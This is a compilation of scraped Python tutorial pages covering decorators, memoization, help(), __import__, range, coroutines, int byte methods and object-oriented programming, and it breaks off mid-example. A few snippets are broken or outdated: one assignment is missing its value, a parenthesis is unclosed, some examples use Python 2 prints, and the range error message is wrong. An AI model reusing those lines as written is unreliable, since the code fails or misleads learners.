            print("I like Geeksforgeeks")
            print("Summation of values - {}".format(x+y) )
 
            func(*args, **kwargs)
             
        return wrapper
    return Inner
 
 
# Not using decorator
def my_fun(*args):
    for ele in args:
        print(ele)
 
# another way of using decorators
decorator_func(12, 15)(my_fun)('Geeks', 'for', 'Geeks')

Output:  

I like Geeksforgeeks
Summation of values - 27
Geeks
for
Geeks

This example also tells us that Outer function parameters can be accessed by the enclosed inner function. 
 

Example #3:  

Python3




# Python code to illustrate
# Decorators with parameters in Python  (Multi-level Decorators)
 
 
def decodecorator(dataType, message1, message2):
    def decorator(fun):
        print(message1)
        def wrapper(*args, **kwargs):
            print(message2)
            if all([type(arg) == dataType for arg in args]):
                return fun(*args, **kwargs)
            return "Invalid Input"
        return wrapper
    return decorator
 
 
@decodecorator(str, "Decorator for 'stringJoin'", "stringJoin started ...")
def stringJoin(*args):
    st = ''
    for i in args:
        st += i
    return st
 
 
@decodecorator(int, "Decorator for 'summation'\n", "summation started ...")
def summation(*args):
    summ = 0
    for arg in args:
        summ += arg
    return summ
 
 
print(stringJoin("I ", 'like ', "Geeks", 'for', "geeks"))
print()
print(summation(19, 2, 8, 533, 67, 981, 119))

Output:  

Decorator for 'stringJoin'
Decorator for 'summation'

stringJoin started ...
I like Geeksforgeeks

summation started ...
1729

1. Inside the Decorator

 

inside-the-decorator-python

 

2. Inside the function

 

inside-function-decorator-python

Note: Image snapshots are taken using PythonTutor.
 


My Personal Notes arrow_drop_up

Memoization using decorators in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 25 May, 2022

Recursion is a programming technique where a function calls itself repeatedly till a termination condition is met. Some of the examples where recursion is used are calculation of fibonacci series, factorial, etc. But the issue with them is that in the recursion tree, there can be chances that the sub-problem that is already solved is being solved again, which adds to overhead.
Memoization is a technique of recording the intermediate results so that it can be used to avoid repeated calculations and speed up the programs. It can be used to optimize the programs that use recursion. In Python, memoization can be done with the help of function decorators. 
Let us take the example of calculating the factorial of a number. The simple program below uses recursion to solve the problem:
 

Python3




# Simple recursive program to find factorial
def facto(num):
    if num == 1:
        return 1
    else:
        return num * facto(num-1)
         
 
print(facto(5))
print(facto(5)) # again performing same calculation
Output
120
120

The above program can be optimized by memoization using decorators.
 

Python3




# Factorial program with memoization using
# decorators.
 
# A decorator function for function 'f' passed
# as parameter
memory = {}
def memoize_factorial(f):
     
    # This inner function has access to memory
    # and 'f'
    def inner(num):
        if num not in memory:
            memory[num] = f(num)
            print('result saved in memory')
        else:
            print('returning result from saved memory')
        return memory[num]
 
    return inner
     
@memoize_factorial
def facto(num):
    if num == 1:
        return 1
    else:
        return num * facto(num-1)
 
print(facto(5))
print(facto(5)) # directly coming from saved memory
Output
result saved in memory
result saved in memory
result saved in memory
result saved in memory
result saved in memory
120
returning result from saved memory
120

Explanation: 
1. A function called memoize_factorial has been defined. Its main purpose is to store the intermediate results in the variable called memory. 
2. The second function called facto is the function to calculate the factorial. It has been annotated by a decorator(the function memoize_factorial). The facto has access to the memory variable as a result of the concept of closures. The annotation is equivalent to writing, 

facto = memoize_factorial(facto)

3. When facto(5) is called, the recursive operations take place in addition to the storage of intermediate results. Every time a calculation needs to be done, it is checked if the result is available in memory. If yes, then it is used, else, the value is calculated and is stored in memory
4. We can verify the fact that memoization actually works, please see the output of this program.
 


My Personal Notes arrow_drop_up

Help function in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 17 Sep, 2021

The Python help function is used to display the documentation of modules, functions, classes, keywords, etc. 

The help function has the following syntax:

help([object])

Python help() function arguments

object: Call help of the given object.

If the help function is passed without an argument, then the interactive help utility starts up on the console.

Python help() Example

Let us check the documentation of the print function in the python console. 

Python3




help(print)

Output:

Help on built-in function print in module builtins:

print(...)
    print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False)

    Prints the values to a stream, or to sys.stdout by default.
    Optional keyword arguments:
    file:  a file-like object (stream); defaults to the current sys.stdout.
    sep:   string inserted between values, default a space.
    end:   string appended after the last value, default a newline.
    flush: whether to forcibly flush the stream.

Help function output can also be defined for user-defined functions and classes. The docstring(documentation string) is used for documentation. It is nested inside triple quotes and is the first statement within a class or function or a module.

Let us define a class with functions: 

Python3




class Helper:
    def __init__(self):
        '''The helper class is initialized'''
 
    def print_help(self):
        '''Returns the help description'''
        print('helper description')
 
 
help(Helper)
help(Helper.print_help)

On running the above program, we get the output of the first help function as shown below: 
 

Help on class Helper in module __main__:

class Helper(builtins.object)
 |  Methods defined here:
 |  
 |  __init__(self)
 |      The helper class is initialized
 |  
 |  print_help(self)
 |      Returns the help description
 |  
 |  ----------------------------------------------------------------------
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)

Help on function print_help in module __main__:

print_help(self)
    Returns the help description

Python help() function docstring

The docstrings are declared using ”’triple single quotes”’ or “””triple double quotes””” just below the class, method or function declaration. All functions should have a docstring.

Accessing Docstrings: The docstrings can be accessed using the __doc__ method of the object or using the help function.

Python3




def my_function():
    '''Demonstrates triple double quotes
    docstrings and does nothing really.'''
 
    return None
 
print("Using __doc__:")
print(my_function.__doc__)
 
print("Using help:")
help(my_function)

Output:

Using __doc__:
Demonstrates triple double quotes
    docstrings and does nothing really.
Using help:
Help on function my_function in module __main__:

my_function()
    Demonstrates triple double quotes
    docstrings and does nothing really.

My Personal Notes arrow_drop_up

Python | __import__() function

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 28 Jan, 2022

While writing a code, there might be a need for some specific modules. So we import those modules by using a single line code in Python.

But what if the name of the module needed is known to us only during runtime? How can we import that module? One can use the Python’s inbuilt __import__() function. It helps to import modules in runtime also.

Syntax: __import__(name, globals, locals, fromlist, level)

Parameters:
name : Name of the module to be imported
globals and locals : Interpret names
formlist : Objects or submodules to be imported (as a list)
level : Specifies whether to use absolute or relative imports. Default is -1(absolute and relative).

Example #1 :




# importing numpy module
# it is equivalent to "import numpy as np"
np = __import__('numpy', globals(), locals(), [], 0)
  
# array from numpy
a = np.array([1, 2, 3])
  
# prints the type
print(type(a))

Output :

<class 'numpy.ndarray'>

 
Example #2 :
Both the following statements has same meaning and does the same work.




# from numpy import complex as comp, array as arr
np = __import__('numpy', globals(), locals(), ['complex', 'array'], 0)
  
comp = np.complex
arr = np.array

 
Application :
__import__() is not really necessary in everyday Python programming. Its direct use is rare. But sometimes, when there is a need of importing modules during the runtime, this function comes quite handy.

My Personal Notes arrow_drop_up

Python | range() does not return an iterator

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 13 Nov, 2018

range() : Python range function generates a list of numbers which are generally used in many situation for iteration as in for loop or in many other cases. In python range objects are not iterators. range is a class of a list of immutable objects. The iteration behavior of range is similar to iteration behavior of list in list and range we can not directly call next function. We can call next if we get an iterator using iter.




# Python program to understand range
# this creates a list of 0 to 5
# integers
  
demo = range(6)
  
# print the demo
print(demo)
  
# it will generate error
print(next(demo))

OUTPUT :

 range(0, 6)

Runtime Errors :

 Traceback (most recent call last):
  File "/home/6881218331a293819d2a4c16029084f9.py", line 13, in 
    print(next(demo))
TypeError: list object is not an iterator

Note : Above runtime error clearly indicates that python range is not a iterator.

Because range is iterable so we can get a iterator with the help of them but we can not directly call next in next. Below example explains it clearly




# Python program to understand range
  
# creates an iterator
demo = iter(range(6))
  
# print iterator
print(demo)
  
# use next
print(next(demo))

OUTPUT :

<listiterator object at 0x7f3f32a46450 >
0

range does not generates all numbers that it contains when we create it. It gives only those numbers which we get them using loop. range has following properties.

Example




# Python program to understand range
  
# creates a demo range
demo = range(1, 31, 2)
  
# print the range
print(demo)
  
# print the start of range
print(demo.start)
  
# print step of range
print(demo.step)
  
# print the index of element 23
print(demo.index(23))
  
# since 30 is not present it will give error
print(demo.index(30))

OUTPUT :

range(1, 31, 2)
1
2
11

Runtime Error : Since element 30 is not present it will rise an error

 Traceback (most recent call last):
  File "/home/cddaae6552d1d9288d7c5ab503c54642.py", line 19, in 
    print(demo.index(30))
ValueError: 30 is not in range

My Personal Notes arrow_drop_up

Coroutine in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Hard
  • Last Updated : 27 Jan, 2022

Prerequisite: Generators
We all are familiar with function which is also known as a subroutine, procedure, sub-process, etc. A function is a sequence of instructions packed as a unit to perform a certain task. When the logic of a complex function is divided into several self-contained steps that are themselves functions, then these functions are called helper functions or subroutines.

Subroutines in Python are called by the main function which is responsible for coordinating the use of these subroutines. Subroutines have a single entry point. 

subroutine

Coroutines are generalizations of subroutines. They are used for cooperative multitasking where a process voluntarily yield (give away) control periodically or when idle in order to enable multiple applications to be run simultaneously. The difference between coroutine and subroutine is :  

coroutine

Coroutine Vs Thread

Now you might be thinking how coroutine is different from threads, both seem to do the same job. 
In the case of threads, it’s an operating system (or run time environment) that switches between threads according to the scheduler. While in the case of a coroutine, it’s the programmer and programming language which decides when to switch coroutines. Coroutines work cooperatively multitask by suspending and resuming at set points by the programmer. 
 

Python Coroutine

In Python, coroutines are similar to generators but with few extra methods and slight changes in how we use yield statements. Generators produce data for iteration while coroutines can also consume data. 
In Python 2.5, a slight modification to the yield statement was introduced, now yield can also be used as an expression. For example on the right side of the assignment – 

line = (yield)

whatever value we send to coroutine is captured and returned by (yield) expression. 

A value can be sent to the coroutine by send() method. For example, consider this coroutine which prints out the name having the prefix “Dear” in it. We will send names to coroutine using send() method. 

Python3




# Python3 program for demonstrating
# coroutine execution
 
def print_name(prefix):
    print("Searching prefix:{}".format(prefix))
    while True:
        name = (yield)
        if prefix in name:
            print(name)
 
# calling coroutine, nothing will happen
corou = print_name("Dear")
 
# This will start execution of coroutine and
# Prints first line "Searching prefix..."
# and advance execution to the first yield expression
corou.__next__()
 
# sending inputs
corou.send("Atul")
corou.send("Dear Atul")

Output: 

Searching prefix:Dear
Dear Atul

Execution of Coroutine

The execution of the coroutine is similar to the generator. When we call coroutine nothing happens, it runs only in response to the next() and sends () method. This can be seen clearly in the above example, as only after calling __next__() method, our coroutine starts executing. After this call, execution advances to the first yield expression, now execution pauses and waits for the value to be sent to corou object. When the first value is sent to it, it checks for prefix and print name if prefix present. After printing the name, it goes through the loop until it encounters the name = (yield) expression again. 
 

Closing a Coroutine

Coroutine might run indefinitely, to close coroutine close() method is used. When a coroutine is closed it generates GeneratorExit exception which can be caught in the caught usual way. After closing the coroutine, if we try to send values, it will raise the StopIteration exception. Following is a simple example : 

Python3




# Python3 program for demonstrating
# closing a coroutine
 
def print_name(prefix):
    print("Searching prefix:{}".format(prefix))
    try :
        while True:
                name = (yield)
                if prefix in name:
                    print(name)
    except GeneratorExit:
            print("Closing coroutine!!")
 
corou = print_name("Dear")
corou.__next__()
corou.send("Atul")
corou.send("Dear Atul")
corou.close()

Output: 

Searching prefix:Dear
Dear Atul
Closing coroutine!!

Chaining coroutines for creating pipeline

Coroutines can be used to set pipes. We can chain together coroutines and push data through the pipe using send() method. A pipe needs :  

pipeline

Following is a simple example of chaining – 


Python3




# Python3 program for demonstrating
# coroutine chaining
 
def producer(sentence, next_coroutine):
    '''
    Producer which just split strings and
    feed it to pattern_filter coroutine
    '''
    tokens = sentence.split(" ")
    for token in tokens:
        next_coroutine.send(token)
    next_coroutine.close()
 
def pattern_filter(pattern="ing", next_coroutine=None):
    '''
    Search for pattern in received token
    and if pattern got matched, send it to
    print_token() coroutine for printing
    '''
    print("Searching for {}".format(pattern))
    try:
        while True:
            token = (yield)
            if pattern in token:
                next_coroutine.send(token)
    except GeneratorExit:
        print("Done with filtering!!")
 
def print_token():
    '''
    Act as a sink, simply print the
    received tokens
    '''
    print("I'm sink, i'll print tokens")
    try:
        while True:
            token = (yield)
            print(token)
    except GeneratorExit:
        print("Done with printing!")
 
pt = print_token()
pt.__next__()
pf = pattern_filter(next_coroutine = pt)
pf.__next__()
 
sentence = "Bob is running behind a fast moving car"
producer(sentence, pf)

Output: 

I'm sink, i'll print tokens
Searching for ing
running
moving
Done with filtering!!
Done with printing!

References 

This article is contributed by Atul Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Python bit functions on int (bit_length, to_bytes and from_bytes)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 20 Aug, 2020

The int type implements the numbers.Integral abstract base class.

1. int.bit_length()
Returns the number of bits required to represent an integer in binary, excluding the sign and leading zeros.

Code to demonstrate




num = 7
print(num.bit_length())
  
num = -7
print(num.bit_length())
Output:
3
3

2. int.to_bytes(length, byteorder, *, signed=False)
Return an array of bytes representing an integer.If byteorder is “big”, the most significant byte is at the beginning of the byte array. If byteorder is “little”, the most significant byte is at the end of the byte array. The signed argument determines whether two’s complement is used to represent the integer.




# Returns byte representation of 1024 in a
# big endian machine.
print((1024).to_bytes(2, byteorder ='big'))
Output:
b'\x04\x00'

3. int.from_bytes(bytes, byteorder, *, signed=False)
Returns the integer represented by the given array of bytes.




# Returns integer value of '\x00\x10' in big endian machine.
print(int.from_bytes(b'\x00\x10', byteorder ='big'))
Output:
16

My Personal Notes arrow_drop_up

Python3 Intermediate Level Topics

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 27 Sep, 2019

After going through the basics of python, you would be interested to know more about further and bit more advance topics of the Python3 programming language.
This article covers them.
Please remember that Python completely works on indentation and it is advised to practice it a bit by running some programs. Use the tab key to provide indentation to your code.

This article is divided in following five sections:

  1. Classes
    Just like every other Object Oriented Programming language Python supports classes. Let’s look at some points on Python classes.
    • Classes are created by keyword class.
    • Attributes are the variables that belong to class.
    • Attributes are always public and can be accessed using dot (.) operator. Eg.: Myclass.Myattribute

    A sample E.g for classes:




    # creates a class named MyClass
    class MyClass:  
            # assign the values to the MyClass attributes
            number = 0       
            name = "noname"
      
    def Main():
            # Creating an object of the MyClass. 
            # Here, 'me' is the object
            me = MyClass() 
      
            # Accessing the attributes of MyClass
            # using the dot(.) operator   
            me.number = 1337    
            me.name = "Harssh"
      
            # str is an build-in function that 
            # creates an string
            print(me.name + " " + str(me.number))
         
    # telling python that there is main in the program.
    if __name__=='__main__':  
            Main()

    Output :

    Harssh 1337
    
  2. Methods
    Method is a bunch of code that is intended to perform a particular task in your Python’s code.
    • Function that belongs to a class is called an Method.
    • All methods require ‘self’ parameter. If you have coded in other OOP language you can think of ‘self’ as the ‘this’ keyword which is used for the current object. It unhides the current instance variable.’self’ mostly work like ‘this’.
    • ‘def’ keyword is used to create a new method.




    # A Python program to demonstrate working of class
    # methods
      
    class Vector2D:
            x = 0.0
            y = 0.0
      
            # Creating a method named Set
            def Set(self, x, y):     
                    self.x = x
                    self.y = y
      
    def Main():
            # vec is an object of class Vector2D
            vec = Vector2D()   
             
            # Passing values to the function Set
            # by using dot(.) operator.
            vec.Set(5, 6)       
            print("X: " + str(vec.x) + ", Y: " + str(vec.y))
      
    if __name__=='__main__':
            Main()

    Output :

    X: 5, Y: 6
  3. Inheritance
    Inheritance is defined as a way in which a particular class inherits features from its base class.Base class is also knows as ‘Superclass’ and the class which inherits from the Superclass is knows as ‘Subclass’

    Inheritance
    As shown in the figure the Derived class can inherit features from its base class, also it can define its own features too.




    # Syntax for inheritance
      
    class derived-classname(superclass-name)




    # A Python program to demonstrate working of inheritance
    class Pet:
            #__init__ is an constructor in Python
            def __init__(self, name, age):     
                    self.name = name
                    self.age = age
      
    # Class Cat inheriting from the class Pet
    class Cat(Pet):         
            def __init__(self, name, age):
                    # calling the super-class function __init__ 
                    # using the super() function
                    super().__init__(name, age) 
      
    def Main():
            thePet = Pet("Pet", 1)
            jess = Cat("Jess", 3)
              
            # isinstance() function to check whether a class is 
            # inherited from another class
            print("Is jess a cat? " +str(isinstance(jess, Cat)))
            print("Is jess a pet? " +str(isinstance(jess, Pet)))
            print("Is the pet a cat? "+str(isinstance(thePet, Cat)))
            print("Is thePet a Pet? " +str(isinstance(thePet, Pet)))
            print(jess.name)
      
    if __name__=='__main__':
            Main()

    Output :

    Is jess a cat? True
    Is jess a pet? True
    Is the pet a cat? False
    Is thePet a Pet? True
    Jess
    
  4. Iterators
    Iterators are objects that can be iterated upon.
    • Python uses the __iter__() method to return an iterator object of the class.
    • The iterator object then uses the __next__() method to get the next item.
    • for loops stops when StopIteration Exception is raised.




    # This program will reverse the string that is passed
    # to it from the main function
    class Reverse:
        def __init__(self, data):
            self.data = data
            self.index = len(data)        
      
        def __iter__(self):
            return self
          
        def __next__(self):
            if self.index == 0:
                raise StopIteration    
            self.index-= 1
            return self.data[self.index]
      
    def Main():
        rev = Reverse('Drapsicle')
        for char in rev:
            print(char)
      
    if __name__=='__main__':
        Main()

    Output :

    e
    l
    c
    i
    s
    p
    a
    r
    D
    
  5. Generators
    • Another way of creating iterators.
    • Uses a function rather than a separate class
    • Generates the background code for the next() and iter() methods
    • Uses a special statement called yield which saves the state of the generator and set a resume point for when next() is called again.




    # A Python program to demonstrate working of Generators
    def Reverse(data):
        # this is like counting from 100 to 1 by taking one(-1) 
        # step backward.
        for index in range(len(data)-1, -1, -1):
            yield data[index]
      
    def Main():
        rev = Reverse('Harssh')
        for char in rev:
            print(char)
        data ='Harssh'
        print(list(data[i] for i in range(len(data)-1, -1, -1)))
      
    if __name__=="__main__":
        Main()

    Output :

    h
    s
    s
    r
    a
    H
    ['h', 's', 's', 'r', 'a', 'H']
    

This article is contributed by Harsh Wardhan Chaudhary (Intern) . If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Python OOPs Concepts

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 28 Jan, 2022

In Python, object-oriented Programming (OOPs) is a programming paradigm that uses objects and classes in programming. It aims to implement real-world entities like inheritance, polymorphisms, encapsulation, etc. in the programming. The main concept of OOPs is to bind the data and the functions that work on that together as a single unit so that no other part of the code can access this data. 

Main Concepts of Object-Oriented Programming (OOPs) 

Python-OOPS-Concept

Class 

A class is a collection of objects. A class contains the blueprints or the prototype from which the objects are being created. It is a logical entity that contains some attributes and methods. 

To understand the need for creating a class let’s consider an example, let’s say you wanted to track the number of dogs that may have different attributes like breed, age. If a list is used, the first element could be the dog’s breed while the second element could represent its age. Let’s suppose there are 100 different dogs, then how would you know which element is supposed to be which? What if you wanted to add other properties to these dogs? This lacks organization and it’s the exact need for classes. 

Some points on Python class:  

Class Definition Syntax:

class ClassName:
   # Statement-1
   .
   .
   .
   # Statement-N

Example: Creating an empty Class in Python

Python




# Python3 program to
# demonstrate defining
# a class
  
class Dog:
    pass

In the above example, we have created a class named dog using the class keyword.

Objects

The object is an entity that has a state and behavior associated with it. It may be any real-world object like a mouse, keyboard, chair, table, pen, etc. Integers, strings, floating-point numbers, even arrays, and dictionaries, are all objects. More specifically, any single integer or any single string is an object. The number 12 is an object, the string “Hello, world” is an object, a list is an object that can hold other objects, and so on. You’ve been using objects all along and may not even realize it.

An object consists of :

To understand the state, behavior, and identity let us take the example of the class dog (explained above). 

Example: Creating an object

Python3




obj = Dog()

This will create an object named obj of the class Dog defined above. Before diving deep into objects and class let us understand some basic keywords that will we used while working with objects and classes.

The self  

  1. Class methods must have an extra first parameter in the method definition. We do not give a value for this parameter when we call the method, Python provides it
  2. If we have a method that takes no arguments, then we still have to have one argument.
  3. This is similar to this pointer in C++ and this reference in Java.

When we call a method of this object as myobject.method(arg1, arg2), this is automatically converted by Python into MyClass.method(myobject, arg1, arg2) – this is all the special self is about.

Note: For more information, refer to self in Python class

The __init__ method 

The __init__ method is similar to constructors in C++ and Java. It is run as soon as an object of a class is instantiated. The method is useful to do any initialization you want to do with your object. 

Now let us define a class and create some objects using the self and __init__ method.

Example 1: Creating a class and object with class and instance attributes

Python3




class Dog:
  
    # class attribute
    attr1 = "mammal"
  
    # Instance attribute
    def __init__(self, name):
        self.name = name
  
# Driver code
# Object instantiation
Rodger = Dog("Rodger")
Tommy = Dog("Tommy")
  
# Accessing class attributes
print("Rodger is a {}".format(Rodger.__class__.attr1))
print("Tommy is also a {}".format(Tommy.__class__.attr1))
  
# Accessing instance attributes
print("My name is {}".format(Rodger.name))
print("My name is {}".format(Tommy.name))
Output
Rodger is a mammal
Tommy is also a mammal
My name is Rodger
My name is Tommy

Example 2: Creating Class and objects with methods

Python3




class Dog:
  
    # class attribute
    attr1 = "mammal"
  
    # Instance attribute
    def __init__(self, name):
        self.name = name
          
    def speak(self):
        print("My name is {}".format(self.name))
  
# Driver code
# Object instantiation
Rodger = Dog("Rodger")
Tommy = Dog("Tommy")
  
# Accessing class methods
Rodger.speak()
Tommy.speak()
Output
My name is Rodger
My name is Tommy

Note: For more information, refer Python Classes and Objects

Inheritance

Inheritance is the capability of one class to derive or inherit the properties from another class. The class that derives properties is called the derived class or child class and the class from which the properties are being derived is called the base class or parent class. The benefits of inheritance are:

Example: Inheritance in Python

Python3




# Python code to demonstrate how parent constructors
# are called.
  
# parent class
class Person(object):
  
    # __init__ is known as the constructor
    def __init__(self, name, idnumber):
        self.name = name
        self.idnumber = idnumber
  
    def display(self):
        print(self.name)
        print(self.idnumber)
          
    def details(self):
        print("My name is {}".format(self.name))
        print("IdNumber: {}".format(self.idnumber))
      
# child class
class Employee(Person):
    def __init__(self, name, idnumber, salary, post):
        self.salary = salary
        self.post = post
  
        # invoking the __init__ of the parent class
        Person.__init__(self, name, idnumber)
          
    def details(self):
        print("My name is {}".format(self.name))
        print("IdNumber: {}".format(self.idnumber))
        print("Post: {}".format(self.post))
  
  
# creation of an object variable or an instance
a = Employee('Rahul', 886012, 200000, "Intern")
  
# calling a function of the class Person using
# its instance
a.display()
a.details()
Output
Rahul
886012
My name is Rahul
IdNumber: 886012
Post: Intern

In the above article, we have created two classes i.e. Person (parent class) and Employee (Child Class). The Employee class inherits from the Person class. We can use the methods of the person class through employee class as seen in the display function in the above code. A child class can also modify the behavior of the parent class as seen through the details() method.

Note: For more information, refer to our Inheritance in Python tutorial.

Polymorphism

Polymorphism simply means having many forms. For example, we need to determine if the given species of birds fly or not, using polymorphism we can do this using a single function.

Example: Polymorphism in Python

Python3




class Bird:
    
    def intro(self):
        print("There are many types of birds.")
  
    def flight(self):
        print("Most of the birds can fly but some cannot.")
  
class sparrow(Bird):
    
    def flight(self):
        print("Sparrows can fly.")
  
class ostrich(Bird):
  
    def flight(self):
        print("Ostriches cannot fly.")
  
obj_bird = Bird()
obj_spr = sparrow()
obj_ost = ostrich()
  
obj_bird.intro()
obj_bird.flight()
  
obj_spr.intro()
obj_spr.flight()
  
obj_ost.intro()
obj_ost.flight()
Output
There are many types of birds.
Most of the birds can fly but some cannot.
There are many types of birds.
Sparrows can fly.
There are many types of birds.
Ostriches cannot fly.

Note: For more information, refer to our Polymorphism in Python Tutorial.

Encapsulation

Encapsulation is one of the fundamental concepts in object-oriented programming (OOP). It describes the idea of wrapping data and the methods that work on data within one unit. This puts restrictions on accessing variables and methods directly and can prevent the accidental modification of data. To prevent accidental change, an object’s variable can only be changed by an object’s method. Those types of variables are known as private variables.

A class is an example of encapsulation as it encapsulates all the data that is member functions, variables, etc.

Encapsulation in Python

Example: Encapsulation in Python

Python3




# Python program to
# demonstrate private members
  
# Creating a Base class
class Base:
    def __init__(self):
        self.a = "GeeksforGeeks"
        self.__c = "GeeksforGeeks"
  
# Creating a derived class
class Derived(Base):
    def __init__(self):
  
        # Calling constructor of
        # Base class
        Base.__init__(self)
        print("Calling private member of base class: ")
        print(self.__c)
  
  
# Driver code
obj1 = Base()
print(obj1.a)
  
# Uncommenting print(obj1.c) will
# raise an AttributeError
  
# Uncommenting obj2 = Derived() will
# also raise an AtrributeError as
# private member of base class
# is called inside derived class
Output
GeeksforGeeks

In the above example, we have created the c variable as the private attribute. We cannot even access this attribute directly and can’t even change its value.

Note: for more information, refer to our Encapsulation in Python Tutorial.

Object Oriented Programming in Python | Set 2 (Data Hiding and Object Printing)

https://youtu.be/CiH7lN4

This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Object Oriented Programming in Python | Set 2 (Data Hiding and Object Printing)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 07 Sep, 2021

Prerequisite: Object-Oriented Programming in Python | Set 1 (Class, Object and Members)

 
Data hiding 

In Python, we use double underscore (Or __) before the attributes name and those attributes will not be directly visible outside. 

Python




class MyClass:
 
    # Hidden member of MyClass
    __hiddenVariable = 0
   
    # A member method that changes
    # __hiddenVariable
    def add(self, increment):
        self.__hiddenVariable += increment
        print (self.__hiddenVariable)
  
# Driver code
myObject = MyClass()    
myObject.add(2)
myObject.add(5)
 
# This line causes error
print (myObject.__hiddenVariable)

Output : 

2
7
Traceback (most recent call last):
  File "filename.py", line 13, in 
    print (myObject.__hiddenVariable)
AttributeError: MyClass instance has 
no attribute '__hiddenVariable' 

In the above program, we tried to access a hidden variable outside the class using an object and it threw an exception.
We can access the value of a hidden attribute by a tricky syntax: 

Python




# A Python program to demonstrate that hidden
# members can be accessed outside a class
class MyClass:
 
    # Hidden member of MyClass
    __hiddenVariable = 10
 
# Driver code
myObject = MyClass()    
print(myObject._MyClass__hiddenVariable)

Output : 

10

Private methods are accessible outside their class, just not easily accessible. Nothing in Python is truly private; internally, the names of private methods and attributes are mangled and unmangled on the fly to make them seem inaccessible by their given names [See this for source ]. 

 Printing Objects 

Printing objects give us information about objects we are working with. In C++, we can do this by adding a friend ostream& operator << (ostream&, const Foobar&) method for the class. In Java, we use toString() method.
In python, this can be achieved by using __repr__ or __str__ methods.

Python




class Test:
    def __init__(self, a, b):
        self.a = a
        self.b = b
 
    def __repr__(self):
        return "Test a:%s b:%s" % (self.a, self.b)
 
    def __str__(self):
        return "From str method of Test: a is %s," \
              "b is %s" % (self.a, self.b)
 
# Driver Code       
t = Test(1234, 5678)
print(t) # This calls __str__()
print([t]) # This calls __repr__()

Output : 

From str method of Test: a is 1234,b is 5678
[Test a:1234 b:5678]

Important Points about Printing: 

Python




class Test:
    def __init__(self, a, b):
        self.a = a
        self.b = b
 
    def __repr__(self):
        return "Test a:%s b:%s" % (self.a, self.b)
 
# Driver Code       
t = Test(1234, 5678)
print(t)

Output :

Test a:1234 b:5678

Python




class Test:
    def __init__(self, a, b):
        self.a = a
        self.b = b
 
# Driver Code       
t = Test(1234, 5678)
print(t)

Output :

<__main__.Test instance at 0x7fa079da6710> 

This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

OOP in Python | Set 3 (Inheritance, examples of object, issubclass and super)

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 10 Feb, 2020

We have discussed following topics on Object Oriented Programming in Python

In this article, Inheritance is introduced.

One of the major advantages of Object Oriented Programming is re-use. Inheritance is one of the mechanisms to achieve the same. In inheritance, a class (usually called superclass) is inherited by another class (usually called subclass). The subclass adds some attributes to superclass.

Below is a sample Python program to show how inheritance is implemented in Python.




   
# A Python program to demonstrate inheritance 
  
# Base or Super class. Note object in bracket.
# (Generally, object is made ancestor of all classes)
# In Python 3.x "class Person" is 
# equivalent to "class Person(object)"
class Person(object):
      
    # Constructor
    def __init__(self, name):
        self.name = name
  
    # To get name
    def getName(self):
        return self.name
  
    # To check if this person is employee
    def isEmployee(self):
        return False
  
  
# Inherited or Sub class (Note Person in bracket)
class Employee(Person):
  
    # Here we return true
    def isEmployee(self):
        return True
  
# Driver code
emp = Person("Geek1"# An Object of Person
print(emp.getName(), emp.isEmployee())
  
emp = Employee("Geek2") # An Object of Employee
print(emp.getName(), emp.isEmployee())
Output:
('Geek1', False)
('Geek2', True)

 

How to check if a class is subclass of another?
Python provides a function issubclass() that directly tells us if a class is subclass of another class.




# Python example to check if a class is
# subclass of another
  
class Base(object):
    pass   # Empty Class
  
class Derived(Base):
    pass   # Empty Class
  
# Driver Code
print(issubclass(Derived, Base))
print(issubclass(Base, Derived))
  
d = Derived()
b = Base()
  
# b is not an instance of Derived
print(isinstance(b, Derived))
  
# But d is an instance of Base
print(isinstance(d, Base))
Output:
True
False
False
True

 

What is object class?
Like Java Object class, in Python (from version 3.x), object is root of all classes.

In Python 3.x, “class Test(object)” and “class Test” are same.
In Python 2.x, “class Test(object)” creates a class with object as parent (called new style class) and “class Test” creates old style class (without object parent). Refer this for more details.

 

Does Python support Multiple Inheritance?
Unlike Java and like C++, Python supports multiple inheritance. We specify all parent classes as comma separated list in bracket.




# Python example to show working of multiple 
# inheritance
class Base1(object):
    def __init__(self):
        self.str1 = "Geek1"
        print "Base1"
  
class Base2(object):
    def __init__(self):
        self.str2 = "Geek2"        
        print "Base2"
  
class Derived(Base1, Base2):
    def __init__(self):
          
        # Calling constructors of Base1
        # and Base2 classes
        Base1.__init__(self)
        Base2.__init__(self)
        print "Derived"
          
    def printStrs(self):
        print(self.str1, self.str2)
         
  
ob = Derived()
ob.printStrs()
Output:
Base1
Base2
Derived
('Geek1', 'Geek2')

 

How to access parent members in a subclass?

  1. Using Parent class name




    # Python example to show that base
    # class members can be accessed in
    # derived class using base class name
    class Base(object):
      
        # Constructor
        def __init__(self, x):
            self.x = x    
      
    class Derived(Base):
      
        # Constructor
        def __init__(self, x, y):
            Base.x =
            self.y = y
      
        def printXY(self):
           
           # print(self.x, self.y) will also work
           print(Base.x, self.y)
      
      
    # Driver Code
    d = Derived(10, 20)
